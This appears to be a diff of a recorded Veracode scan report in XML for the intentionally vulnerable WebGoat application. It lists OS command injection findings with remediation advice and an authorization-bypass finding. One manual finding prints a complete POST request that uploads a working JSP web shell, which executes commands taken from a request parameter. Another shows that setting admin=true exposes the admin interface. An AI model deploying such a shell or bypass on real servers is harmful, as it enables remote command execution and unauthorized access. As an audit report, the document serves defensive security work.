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AABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
